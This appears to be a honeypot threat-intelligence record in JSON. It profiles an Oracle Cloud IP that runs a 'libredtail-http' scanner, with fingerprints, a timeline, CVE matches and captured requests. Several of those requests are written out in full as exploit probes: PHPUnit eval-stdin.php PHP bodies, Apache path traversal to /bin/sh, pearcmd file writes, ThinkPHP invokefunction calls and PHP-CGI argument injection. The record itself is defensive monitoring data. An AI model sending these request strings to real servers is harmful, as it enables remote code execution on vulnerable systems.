{"ip":"92.5.155.195","total_events":149,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"45 exploit-path hits","confidence":"high","network_type":"CDN","why":["45 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 1,826,796 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"1,826,796 bytes sent","bytes_sent":1826796,"session_seconds":45,"persistent":false}},"first_seen":"2026-09-25T20:13:22","last_seen":"2026-10-03T22:45:08","events_24h":0,"events_7d":50,"geo":{"country_code":"DE","country_name":"Germany","region":"Hesse","city":"Frankfurt am Main","lat":50.1049,"lon":8.6295,"asn":31898,"org":"Oracle Corporation"},"source_domain":null,"known_scanners":[],"scanner_tag":{"key":"peeringdb:as31898","label":"Oracle Cloud Infrastructure","category":"cdn","url":"https://www.peeringdb.com/asn/31898"},"cve_matches":[{"cve_id":"CVE-2017-9841","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"},{"cve_id":"CVE-2021-42013","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"}],"malware":[],"udp":null,"top_ports":[{"port":80,"proto":"tcp","label":"HTTP","count":98},{"port":443,"proto":"tcp","label":"HTTPS","count":49},{"port":2222,"proto":"tcp","label":"SSH-alt","count":1},{"port":2375,"proto":"tcp","label":"Docker","count":1}],"fingerprints":{"ssh_hassh":["19532158b559096b89b1a5f7d17175b2"],"tls_ja4":["t13i170900_5b57614c22b0_78e6aca7449b"],"tls_client_hello":"16030105b9010005b5030316cae7dcffc8d48037810a40041fae3945e6f5701c16af7ef483eef8e3eb1e2e20de34c4b29f909955217afdb8409c48e00fe9f392ef127f7febacbda9ac164aa500247a7a130113021303c02bc02fc02cc030cca9cca8c009c013c00ac014009c009d002f003501000548aaaa000000170000ff01000100000a000c000a2a2a11ec001d00170018000b0002010000230000000d00140012040308040401050308050501080606010201003304ef04ed2a2a00010011ec04c08c86775e8b67c6e25afb9c8ef9b5332595b17a7b4ee44440383446f044a0cf3282bfb8284a92b8f9d6b38f247e561b4fb180b035eacc523b49dd83cedee885b91bbd842851db17500b7255932571904b137df72b11ba2a369c4b0521415cb7331ea28de3d1cb5f2cbd756582973568dda70a27f90c6e96bf125a3427da43375165020c4ef9bb7dc842cbfb23174f151819704fc8e94149649f12fc284a902570d15f50c2ba8f147571743cb4663caee628d2d23ca236a66028457e316962b5ad8ad7040c1b09bc0a1322ea2e921311c6257db2873588b35eb7683c1892b97cd9b630767ace00540dc07eb9144317237deaf5cd3b342170ec8b3715b781641116b2b563d2af72813680328c9c5008c6ab3248606d1b69b66acb8d37e8526629cc55d0b6c2c321e673cac95112b9661c33151cdcdc1754e58c4d75131797c7e3f429d778703376a6d2fa0d0b0b0ca5ab03f217182a18562ed638701b4af72729ea8889e99725f31c2116d2472cf6aaa79359cb3689b4aa2d1ab133aa74774f8571d8f357e549a0785c887e034d6d91a7d88a3fe4b06f17812089479e496b2666e6cbbea92484bba000b1accbc8366d11128709c71f95bc8d1c46188381b07256ba070689d4bc7dc29012314d78f53977e85e6d6b2fd0dc20ed347c3261277f96ca5f53540e13ac272c71ac92468c00b921f438e702a32b703848cbcca5a28b6f5bb75914b73f3014b641bc3aeb1cd5d5c17ebc611de881f65b8f1a3440420199050442e40a46a5271918586cfc0bc73bd2bf66d43c2fa6cbffd1b58492b1091c305d716ed94460810932478b4ed01b1938aabc2767af536a27629a3997b54ff6fcc0222c44401681cc8062efe84b3e87a0e5558c76f89e958aa9d5b7a7daf4670df40b87c9c47a54c2110769764073d697b6a5f7c7c467be83f81da433846c128a9ff045d6124ab9698281b0707ea9394cf949fdf1460a891a4117290b460b1cf24bc03caafe0cc43914aedd57ce8161c58452c3bd80942144bd839286711c21575170de7c1f18f5cb735ac03347cfad201c808bc4e079973a853d4312cd3659c488da7cfc10b30702004bc13f4c273eca65c2d5e1798aa7075458694c8858a11716b877156dfca548237e6eb4604733bf3e78c03d923aa2aaa0a818a9d7d4b0d7eb87f845586894688ea31d48288b4033c8c1258150783cca528b3b6b63cdb38718e726ba907e00d0286aa2975d223c5ab295c41b6f2a1aad57ba6e352828ea707659e0c9444642c4f23d2280b41ed5afae2332728a49e9b6c9c3d4298ee661a9434f07f76a7012b5cdb6559c91aa778c79e9544696a44d28e4c25e25350d12818b8a0b32c7a65c85ac740045d76634ac61c10c9785d41186de03b9e0d2178bf08cfb6c44c2c951b4453de0074f1c41ad650084f9c26cab31ce6509321333307e565d4f87462044872eb36e9666b1048c5f0d30a6a52656ef199459ec3dcccba4718a71646427323330852288cfe22a6e0643b14a1c150901f1aa915c574d3c3128a616cccd249fd27044213b414a7677408611990882ebea624cf663f56687a9312d3de44d3d49349460716c100d4b6808d4538ebc48832b346bd6e73470eb6de5b1cf14a5de10679ea17370b4c6296579ffd2296a700711f77c53e7e5f4d289624e3fef0e11d8f1bfa3aa9cb9d4cffe72ee604150b10bd65fa0fb64c226c12e001d00202ebc4fa68f164852e202b4d481df9aa65361574ca2aa9db211f7721b31130206002d00020101002b0007069a9a03040303dada0001","tls_ja3":["052a5e65c3a64e860e1706b1de3c46a9"],"http_akin":["b11cun050_00040035_dd905059","b11cuq070_00050835_c0b30902"]},"fingerprint_peers":{"19532158b559096b89b1a5f7d17175b2":167,"b11cun050_00040035_dd905059":258,"b11cuq070_00050835_c0b30902":205,"t13i170900_5b57614c22b0_78e6aca7449b":129},"akin_families":{},"user_agents":["libredtail-http"],"timeline":[{"date":"2026-09-25","count":1},{"date":"2026-09-26","count":49},{"date":"2026-09-28","count":49},{"date":"2026-09-29","count":1},{"date":"2026-10-03","count":49}],"recent_events":[{"timestamp":"2026-10-03T22:45:08","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/containers/json","summary":"","payload_hex":"474554202f636f6e7461696e6572732f6a736f6e20485454502f312e310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"8e9e45e9-93ca-417e-bbd0-4355025dadbc","seq":49,"duration_ms":39894,"bytes_in":19117,"bytes_out":3773},{"timestamp":"2026-10-03T22:45:07","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c6f63616c2f6c69622f7068702f70656172636d64262b636f6e6669672d6372656174652b2f262f3c3f6563686f286d6435282268692229293b3f3e2b2f746d702f696e646578312e70687020485454502f312e310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"8e9e45e9-93ca-417e-bbd0-4355025dadbc","seq":47,"duration_ms":38667,"bytes_in":18777,"bytes_out":3619},{"timestamp":"2026-10-03T22:45:07","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.php?lang=../../../../../../../../tmp/index1","summary":"","payload_hex":"474554202f696e6465782e7068703f6c616e673d2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f746d702f696e6465783120485454502f312e310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"8e9e45e9-93ca-417e-bbd0-4355025dadbc","seq":48,"duration_ms":39320,"bytes_in":18964,"bytes_out":3696},{"timestamp":"2026-10-03T22:45:06","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f7075626c69632f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"8e9e45e9-93ca-417e-bbd0-4355025dadbc","seq":46,"duration_ms":37792,"bytes_in":18520,"bytes_out":3542},{"timestamp":"2026-10-03T22:45:04","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","summary":"","payload_hex":"474554202f696e6465782e7068703f733d2f696e6465782f5c7468696e6b5c6170702f696e766f6b6566756e6374696f6e2666756e6374696f6e3d63616c6c5f757365725f66756e635f617272617926766172735b305d3d6d643526766172735b315d5b5d3d48656c6c6f20485454502f312e310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a0d0a","method":"GET","user_agent":"libredtail-http","ja3":"","session":"8e9e45e9-93ca-417e-bbd0-4355025dadbc","seq":45,"duration_ms":36045,"bytes_in":18273,"bytes_out":3465},{"timestamp":"2026-10-03T22:45:03","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f6170702f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"8e9e45e9-93ca-417e-bbd0-4355025dadbc","seq":44,"duration_ms":35226,"bytes_in":18033,"bytes_out":3388},{"timestamp":"2026-10-03T22:45:02","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f617070732f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"8e9e45e9-93ca-417e-bbd0-4355025dadbc","seq":43,"duration_ms":33989,"bytes_in":17762,"bytes_out":3311},{"timestamp":"2026-10-03T22:45:01","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f7075626c69632f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"8e9e45e9-93ca-417e-bbd0-4355025dadbc","seq":42,"duration_ms":33092,"bytes_in":17490,"bytes_out":3234},{"timestamp":"2026-10-03T22:45:00","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f776f726b73706163652f64727570616c2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"8e9e45e9-93ca-417e-bbd0-4355025dadbc","seq":40,"duration_ms":31908,"bytes_in":16943,"bytes_out":3080},{"timestamp":"2026-10-03T22:45:00","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"keep-alive\",\"content-length\":\"33\",\"content-type\":\"text/plain\",\"host\":\"<HONEYPOT>:80\",\"upgrade-insecure-requests\":\"1\",\"user-agent\":\"libredtail-http\"}","body":"<?php echo(md5(\"Hello PHPUnit\"));","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","summary":"","payload_hex":"474554202f70616e656c2f76656e646f722f706870756e69742f706870756e69742f7372632f5574696c2f5048502f6576616c2d737464696e2e70687020485454502f312e310d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a4163636570743a202a2f2a0d0a557365722d4167656e743a206c69627265647461696c2d687474700d0a486f73743a20<HONEYPOT>3a38300d0a557067726164652d496e7365637572652d52657175657374733a20310d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a436f6e74656e742d4c656e6774683a2033330d0a0d0a3c3f706870206563686f286d6435282248656c6c6f20504850556e69742229293b","method":"GET","user_agent":"libredtail-http","ja3":"","session":"8e9e45e9-93ca-417e-bbd0-4355025dadbc","seq":41,"duration_ms":32489,"bytes_in":17216,"bytes_out":3157}],"http_methods":[{"method":"GET","count":127},{"method":"POST","count":21}],"distinct_ports_total":4,"top_paths":[{"path":"/containers/json","count":4,"ports":3},{"path":"/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":3,"ports":2},{"path":"/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":3,"ports":2},{"path":"/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":3,"ports":2},{"path":"/public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello","count":3,"ports":2},{"path":"/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":3,"ports":2},{"path":"/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":3,"ports":2},{"path":"/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":3,"ports":2},{"path":"/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":3,"ports":2},{"path":"/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":3,"ports":2},{"path":"/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php","count":3,"ports":2},{"path":"/lib/phpunit/phpunit/Util/PHP/eval-stdin.php","count":3,"ports":2},{"path":"/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":3,"ports":2},{"path":"/lib/phpunit/Util/PHP/eval-stdin.php","count":3,"ports":2},{"path":"/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","count":3,"ports":2}],"distinct_paths_total":49,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[{"value":"SSH-2.0-libssh2_1.11.1","count":1}],"credentials":[],"header_profile":{"signature":["Accept","Connection","Content-Length","Content-Type","Host","Upgrade-Insecure-Requests","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Connection","value":"keep-alive","notable":false},{"name":"Content-Length","value":"33","notable":false},{"name":"Content-Type","value":"text/plain","notable":true},{"name":"Host","value":"<HONEYPOT>:80","notable":false},{"name":"Upgrade-Insecure-Requests","value":"1","notable":false},{"name":"User-Agent","value":"libredtail-http","notable":false}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2017-9841","tag_type":"cve","title":"PHPUnit - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php","reference_urls":["https://github.com/cyberharsh/Php-unit-CVE-2017-9841","https://github.com/RandomRobbieBF/phpunit-brute","https://thephp.cc/articles/phpunit-a-security-risk","https://twitter.com/sec715/status/1411517028012158976","https://nvd.nist.gov/vuln/detail/CVE-2017-9841"]},{"tag_id":"CVE-2021-42013","tag_type":"cve","title":"Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh","reference_urls":["https://httpd.apache.org/security/vulnerabilities_24.html","https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d","https://nvd.nist.gov/vuln/detail/CVE-2021-42013","https://twitter.com/itsecurityco/status/1446136957117943815","http://jvn.jp/en/jp/JVN51106450/index.html"]}],"data_as_of":"2026-10-06T04:02:13.969887+00:00"}